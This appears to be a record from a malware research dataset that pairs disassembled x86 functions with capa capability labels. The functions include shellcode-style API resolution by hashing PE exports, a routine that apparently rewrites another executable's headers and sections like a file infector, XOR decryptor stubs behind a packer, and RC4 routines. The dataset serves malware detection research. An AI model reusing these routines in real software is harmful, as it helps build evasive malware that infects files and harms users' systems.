joyce8/EMBER2024-capa huggingface dataset:
Function at 0x420260
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov dword [esp], edi
call sub.msvcrt.dll_strlen
mov ebx, eax
lea eax, [eax + 0x40]
and eax, 0xfffffff0
call fcn.0040e0e0
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
lea esi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sub.msvcrt.dll_memcpy
lea eax, [ebx + 0x10]
lea edi, [esi + eax]
mov dword [ebp - 0x24], eax
lea eax, [ebx + 0x30]
mov dword [edi], 0x61616161
mov dword [edi + 4], 0x61616161
mov dword [edi + 8], 0x61616161
mov dword [edi + 0xc], 0x61616161
mov dword [edi + 0x10], 0x61616161
mov dword [edi + 0x14], 0x61616161
mov dword [edi + 0x18], 0x61616161
mov dword [edi + 0x1c], 0x61616161
mov dword [ebp - 0x1c], eax
mov byte [esp + ebx + 0x3c], 0
mov byte [esp + ebx + 0x1b], 0
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov byte [esi + ebx + 0xf], 0x2d
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
je 0x42034f
int3
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
jne 0x4203f3
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov edx, edi
mov ebx, eax
mov eax, 0x20
nop
lea esi, [esi]
bt ebx, eax
jae 0x420388
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x420380
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x4203f0
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.004201e0
cmp eax, ebx
mov esi, eax
je 0x42040a
mov dword [esp], ebx
call fcn.00419d98
mov edi, dword [ebp - 0x20]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.004201e0
mov esi, eax
jmp 0x4203c2
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x4203c2
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x4203c2
Function at 0x401005
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x401010
call 0x401015
pop ebx
xor ecx, ecx
inc ebx
sub bl, 6
mov ch, 4
sub esp, ecx
xor eax, eax
lea edi, [ebp - 4]
mov ch, 1
std
rep stosd dword es:[edi], eax
cld
call fcn.004010bf

Function at 0x401030
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
pushal
mov ebp, esp
xor edx, edx
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
movzx ecx, word [edx + 0x26]
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x401054
sub al, 0x20
ror edi, 0xd
add edi, eax
dec ecx
jne 0x40104b
push edx
push edi
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
add eax, edx
mov eax, dword [eax + 0x78]
test eax, eax
je 0x4010b9
add eax, edx
push eax
mov ecx, dword [eax + 0x18]
mov ebx, dword [eax + 0x20]
add ebx, edx
test ecx, ecx
je 0x4010b8
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
ror edi, 0xd
add edi, eax
cmp al, ah
jne 0x401084
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
jne 0x401078
pop eax
mov ebx, dword [eax + 0x24]
add ebx, edx
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
add ebx, edx
mov eax, dword [ebx + ecx*4]
add eax, edx
mov dword [esp + 0x24], eax
pop ebx
pop ebx
popal
pop ecx
pop edx
push ecx
jmp eax
pop edi
pop edi
pop edx
mov edx, dword [edx]
jmp 0x401042
Function at 0x40132a
Capabilities:
Access peb ldr_data

Disassembly:
xor ecx, ecx
xor eax, eax
xor edx, edx
lea eax, [ebp - 0x200]
push ecx
push ecx
push 3
push ecx
push 1
mov ch, 0xc0
shl ecx, 0x10
push ecx
push eax
push 0x4fdaf6da
call fcn.00401030
cmp eax, 0xffffffff
je 0x4014ac
mov dword [ebp - 0x4c], eax
xor edx, edx
push edx
push edx
push edx
push 4
push edx
push eax
push 0x23f9cd0a
call fcn.00401030
cmp eax, ecx
je 0x4014ac
mov dword [ebp - 0x50], eax
mov ecx, eax
xor ebx, ebx
push ebx
push ebx
push ebx
push 2
push ecx
push 0x757aef13
call fcn.00401030
cmp eax, ebx
je 0x4014ac
mov ebx, eax
mov dword [ebp - 0x58], eax
mov eax, dword [eax + 0x34]
cmp eax, 0
jne 0x4012e5
mov edi, dword [ebx + 0x3c]
add edi, ebx
mov eax, dword [edi + 4]
cmp ax, 0x14c
jne 0x4012e5
mov eax, dword [edi + 0x3c]
mov dword [ebp - 0x64], eax
mov eax, dword [edi + 0x38]
mov dword [ebp - 0x68], eax
mov eax, dword [edi + 0x28]
mov edx, dword [edi + 0x34]
add eax, edx
mov dword [ebx + 0x34], eax
mov eax, dword [edi + 0x50]
mov dword [ebx + 0x30], eax
mov dword [ebp - 0x60], eax
mov ax, word [edi + 6]
mov cl, 0xf8
add edi, ecx
dec ax
mov dl, 0x28
imul dl
movzx eax, ax
add edi, eax
push edi
mov eax, dword [edi + 8]
mov dword [ebx + 0x2c], eax
mov edx, dword [edi + 0x14]
add edx, eax
mov dword [ebp - 0x70], edx
mov cx, 0x4c1
add eax, ecx
mov dword [edi + 8], eax
push eax
mov esi, dword [ebp - 0x4c]
mov eax, dword [edi + 0x10]
mov dword [ebx + 0x38], eax
add eax, ecx
mov ecx, dword [ebp - 0x64]
dec ecx
add eax, ecx
not ecx
and eax, ecx
mov dword [edi + 0x10], eax
mov eax, dword [edi + 0x24]
mov dword [ebx + 0x28], eax
mov bh, 0x60
shl ebx, 0x10
mov bl, 0x20
or eax, ebx
mov dword [edi + 0x24], eax
mov eax, dword [edi + 0xc]
pop ecx
add eax, ecx
mov cx, 0x4c1
sub eax, ecx
mov edi, dword [ebp - 0x58]
add edi, dword [edi + 0x3c]
mov dword [edi + 0x28], eax
mov eax, dword [edi + 0x50]
dec eax
add ecx, eax
not eax
and ecx, eax
mov eax, dword [ebp - 0x60]
add ecx, eax
mov dword [edi + 0x50], ecx
pop edi
mov edx, dword [ebp - 0x70]
xor ebx, ebx
push ebx
push ebx
push edx
push esi
push 0xd812cdaa
call fcn.00401030
lea eax, [ebp - 0x6c]
push ebx
push eax
mov ax, 0x4c1
push eax
mov edx, dword [ebp - 0x108]
lea eax, [edx]
push eax
push esi
push 0x5bae572d
call fcn.00401030
mov eax, dword [edi + 0x10]
mov edx, dword [edi + 0x14]
add edx, eax
push ebx
push ebx
push edx
push esi
push 0xd812cdaa
call fcn.00401030
push esi
push 0xd7e3cbdb
call fcn.00401030
jmp 0x4012e5

Function at 0x46c346
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp esi, 0x19f
jne 0x46c364
push 0
push 0
call dword [0x46d060]
push 0
call dword [0x46d030]
xor edx, edx
test esi, esi
jle 0x46c385
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
call fcn.0046c33e
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 4]
add eax, edx
xor byte [eax], cl
inc edx
cmp edx, esi
jl 0x46c36a
cmp esi, 0x2d
jne 0x46c39b
or dword [0x4fb68c], 0xffffffff
mov dword [0x4fb688], 0xa62e7790
leave
ret
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x100ed682
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101ba398]
jne 0x100ed68c
repz ret
jmp fcn.100f6c6b

Function at 0x100f83df
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100eafc6
and dword [ebp - 4], 0
cmp dword [0x101bb814], 0
mov ebx, eax
jne 0x100f8490
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x100f8541
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x100f8541
push eax
call fcn.100eaf54
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x101bb814], eax
call esi
push eax
call fcn.100eaf54
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x101bb818], eax
call esi
push eax
call fcn.100eaf54
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x101bb81c], eax
call esi
push eax
call fcn.100eaf54
pop ecx
mov dword [0x101bb824], eax
test eax, eax
je 0x100f8490
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100eaf54
pop ecx
mov dword [0x101bb820], eax
mov eax, dword [0x101bb820]
cmp eax, ebx
je 0x100f84e8
cmp dword [0x101bb824], ebx
je 0x100f84e8
push eax
call fcn.100eafcf
push dword [0x101bb824]
mov esi, eax
call fcn.100eafcf
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100f84e8
test edi, edi
je 0x100f84e8
call esi
test eax, eax
je 0x100f84df
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100f84df
test byte [ebp - 0xc], 1
jne 0x100f84e8
or dword [ebp + 0x10], 0x200000
jmp 0x100f8521
mov eax, dword [0x101bb818]
cmp eax, ebx
je 0x100f8521
push eax
call fcn.100eafcf
pop ecx
test eax, eax
je 0x100f8521
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x100f8521
mov eax, dword [0x101bb81c]
cmp eax, ebx
je 0x100f8521
push eax
call fcn.100eafcf
pop ecx
test eax, eax
je 0x100f8521
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x101bb814]
call fcn.100eafcf
pop ecx
test eax, eax
je 0x100f8541
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x100f8543
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100fb7d3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov ecx, dword [0x101b97f8]
add ecx, 0x205c
mov dword [0x101b97f4], ecx
mov dword [0x101b97f8], 0x879
mov dword [ebp - 0x10], eax
call fcn.100fcbd2
xor ecx, ecx
mov edx, eax
mov dword [0x101b97f4], 0xfffff7a8
mov esi, dword [eax + 0x3c]
mov dword [0x101b97f8], 0x2416
mov dword [0x101b97f4], 0x1348
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov ebx, dword [eax + esi + 0x24]
mov dword [0x101b97f4], 0x254a
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ecx
je 0x100fb946
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov esi, dword [ebp - 0x24]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x45], bh
mov byte [ebp - 0x46], cl
je 0x100fb8dc
mov eax, dword [ebp - 0x44]
add eax, 1
mov cl, byte [ebp - 0x45]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x46]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x40], eax
jne 0x100fb88b
mov al, byte [ebp - 0x46]
test al, 1
jne 0x100fb919
jmp 0x100fb8e5
xor eax, eax
mov dword [0x101b97f4], 0x150d
mov ecx, dword [ebp - 0x34]
add ecx, 2
mov edx, dword [ebp - 0x38]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
jb 0x100fb871
jmp 0x100fb946
mov eax, dword [ebp - 0x34]
movzx ecx, word [eax]
mov dword [0x101b97f8], 0x2552
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x101b97f4], 0xfffff15b
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100fb9ee
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x101b97f4], 0x204b
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov cl, byte [eax + 0x101ab5f4]
mov dl, byte [eax + 0x101ab5c5]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x30], eax
jne 0x100fba10
lea eax, [ebp - 0x24]
mov dword [0x101b97f8], 0x1bbe
mov dword [0x101b97f4], 0x14
mov dword [ebp - 0x34], eax
call fcn.100fc17d
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.100fbdee
mov dword [0x101b97f4], 0xeeb
mov dword [0x101b97f8], 0xfffffe15
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x100fbb39
mov eax, dword [ebp - 0x38]
mov dword [0x101b97f4], 0x2578
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.100fbb41
mov dword [0x101b97f8], 0x145b
mov eax, dword [ebp - 0x3c]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xc0
mov dword [eax + 0xc0], 0x4550
xor eax, eax
mov ecx, dword [ebp - 0x3c]
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x50], ecx
mov esi, dword [0x101b97f8]
add esi, 0xffffec67
mov dword [0x101b97f4], esi
add ecx, 0x1127
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x100fbb30
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x100fbc68
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101b9800], 0
mov byte [0x101b9804], 0
mov dword [0x101b97f8], 0x2449
mov dword [0x101b97f4], 0x109e
mov dword [0x101b97fc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x100fbcd6
xor eax, eax
mov dword [0x101b97fc], 0
mov ecx, dword [ebp - 0x20]
add ecx, 0x1d78
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x100fbd22
mov eax, dword [ebp - 0x1c]
mov dword [0x101b97f8], 0x206
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101b97f4]
mov esi, eax
add esi, 0xfffff9d0
mov dword [0x101b97f4], esi
mov esi, dword [0x101b97fc]
add esi, 1
mov dword [0x101b97fc], esi
cmp esi, 0x100
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], esi
jl 0x100fbcd6
jmp 0x100fbcb9
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov edx, 0x3a46
mov esi, 0x100
mov dword [0x101b9808], 0
mov edi, dword [0x101b9800]
mov ebx, dword [ebp - 0x18]
movzx ebx, byte [ebx + eax]
add ebx, edi
mov dword [ebp - 0x2c], eax
xor edi, edi
mov dword [ebp - 0x30], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add ebx, edx
mov dword [0x101b9808], ebx
mov dword [0x101b97f8], ecx
mov dword [0x101b97f4], 0xe04
mov eax, ebx
cdq
idiv esi
mov dword [0x101b9800], edx
mov ecx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
mov cl, byte [ecx + esi]
mov byte [0x101b9804], cl
mov dword [0x101b97f8], 0x18fd
mov ebx, dword [ebp - 0x18]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x101b9804]
mov edx, dword [0x101b9800]
mov byte [ebx + edx], cl
mov dword [0x101b97f4], 0x169e
mov edx, dword [0x101b97fc]
add edx, 1
mov dword [0x101b97fc], edx
cmp edx, 0x100
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
jl 0x100fbd22
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100fc855
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [0x101b97f8], 0x2455
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x101b97f8], 0x15ac
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x100fc8b8
xor eax, eax
mov dword [0x101b97f4], 0x2d1a
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x18], eax
je 0x100fc913
jmp 0x100fc9b5
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
je 0x100fc8e5
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], eax
jl 0x100fc8b8
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov edx, dword [0x101b97f4]
add edx, 0xffffed2c
mov dword [0x101b97f4], edx
mov edx, dword [ebp - 0xc]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
je 0x100fc895
jmp 0x100fc9b5
xor eax, eax
mov dword [0x101b97f4], 0x6a7
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x18], eax
jne 0x100fc9b5
xor eax, eax
mov dword [0x101b97f4], 0x468
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x18], eax
jne 0x100fc9b5
xor eax, eax
mov dword [0x101b97f4], 0xffffe829
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x18], eax
jne 0x100fc9b5
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x18], eax
jne 0x100fc9b5
xor eax, eax
mov dword [0x101b97f8], 0x401
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x18], eax
jne 0x100fc9b5
mov eax, 1
mov dword [0x101b97f4], 0x2389
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add esp, 0x20
pop ebp
ret
Function at 0x100fcd41
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x40
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, 0xffffff79
xor ebx, ebx
mov dword [ebp - 0x10], eax
mov eax, 0xfffff00e
mov dword [0x101b97fc], 0
mov dword [0x101b9800], 0
mov dword [0x101b980c], 0
mov dword [ebp - 0x14], eax
mov eax, dword [0x101b97f4]
add eax, 0xffffda0d
mov dword [0x101b97f8], eax
mov dword [0x101b97f4], 0x4ad
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, ebx
mov dword [ebp - 0x20], eax
mov eax, ebx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], edi
je 0x100fcf21
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x1c]
mov ebx, 0x6b6
mov dword [ebp - 0x40], eax
mov eax, 0x100
mov dword [0x101b97f4], ecx
add edx, 1
mov dword [ebp - 0x44], eax
mov eax, edx
cdq
mov ecx, dword [ebp - 0x44]
idiv ecx
mov dword [0x101b97fc], edx
mov ecx, dword [ebp - 0x34]
movzx ecx, byte [ecx + edx]
add ecx, esi
mov eax, ecx
mov dword [ebp - 0x48], edx
cdq
mov ecx, dword [ebp - 0x44]
idiv ecx
mov dword [0x101b9800], edx
mov esi, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x48]
mov cl, byte [esi + ecx]
mov byte [0x101b9804], cl
add edi, 0x1ab1
mov dword [0x101b97f4], edi
mov cl, byte [esi + edx]
mov edx, dword [ebp - 0x48]
mov byte [esi + edx], cl
mov edi, dword [0x101b97f8]
add edi, 0xffffe8ac
mov dword [0x101b97f8], edi
mov cl, byte [0x101b9804]
mov edi, dword [0x101b9800]
mov byte [esi + edi], cl
mov edi, dword [0x101b97fc]
movzx edi, byte [esi + edi]
mov ecx, dword [0x101b9800]
movzx ecx, byte [esi + ecx]
add ecx, edi
and ecx, 0xff
mov dword [0x101b980c], ecx
mov dword [0x101b97f8], 0x3cd
mov dword [0x101b97f4], 0x2296
mov cl, byte [esi + ecx]
mov edi, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x40]
mov ch, byte [edi + edx]
mov dword [0x101b97f8], 0x31f
mov byte [0x101b9811], ch
mov byte [0x101b9812], cl
xor ch, cl
mov byte [0x101b9810], ch
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x40]
mov byte [edx + esi], ch
mov dword [0x101b97f4], 0xbea
add esi, 1
mov edx, dword [ebp - 0x10]
cmp esi, edx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x3c], ebx
je 0x100fcf21
mov eax, 0xfffff74b
mov ecx, dword [0x101b97fc]
mov edx, dword [0x101b9800]
mov esi, dword [0x101b97f8]
mov edi, dword [ebp - 0x4c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], edi
jmp 0x100fcdd5
mov eax, dword [ebp - 0x3c]
mov dword [0x101b97f4], eax
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100fcf31
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
mov dword [0x101b97f4], 0x870
call fcn.10001070
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
jne 0x100fd092
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [0x101b97f8], 0xa27
mov dword [0x101b97f4], 0x18d4
mov dword [esp], eax
mov dword [esp + 0x20], ecx
call fcn.100fc560
lea ecx, [0x100fc11a]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x94], edx
mov dword [esp + 0x50], 0x14ba00
mov edx, dword [0x101b97e0]
mov dword [esp + 0x44], edx
mov edx, dword [0x101b97e4]
mov dword [esp + 0x5c], edx
mov edx, dword [0x101b97e8]
mov dword [esp + 0x6c], edx
mov edx, dword [0x101b97ec]
mov dword [esp + 0x4c], edx
mov edx, dword [0x101b97f0]
mov dword [esp + 0x7c], edx
mov dword [0x101b97f4], 0x352
mov dword [0x101b97f8], 0x139f
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x18]
cmp word [eax], 0x5a4d
mov dword [esp + 0x14], eax
jne 0x100fd00f
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x10], ecx
je 0x100fd023
mov eax, dword [esp + 0x14]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x18], eax
jmp 0x100fcfec
mov eax, dword [esp + 0x14]
mov dword [esp + 0x80], eax
mov dword [0x101b97f8], 0x2416
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x38], edx
mov dword [0x101b97f4], 0x64f
call fcn.100fc855
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x100fd08a
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.100fb9ee
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov esp, ebp
pop ebp
ret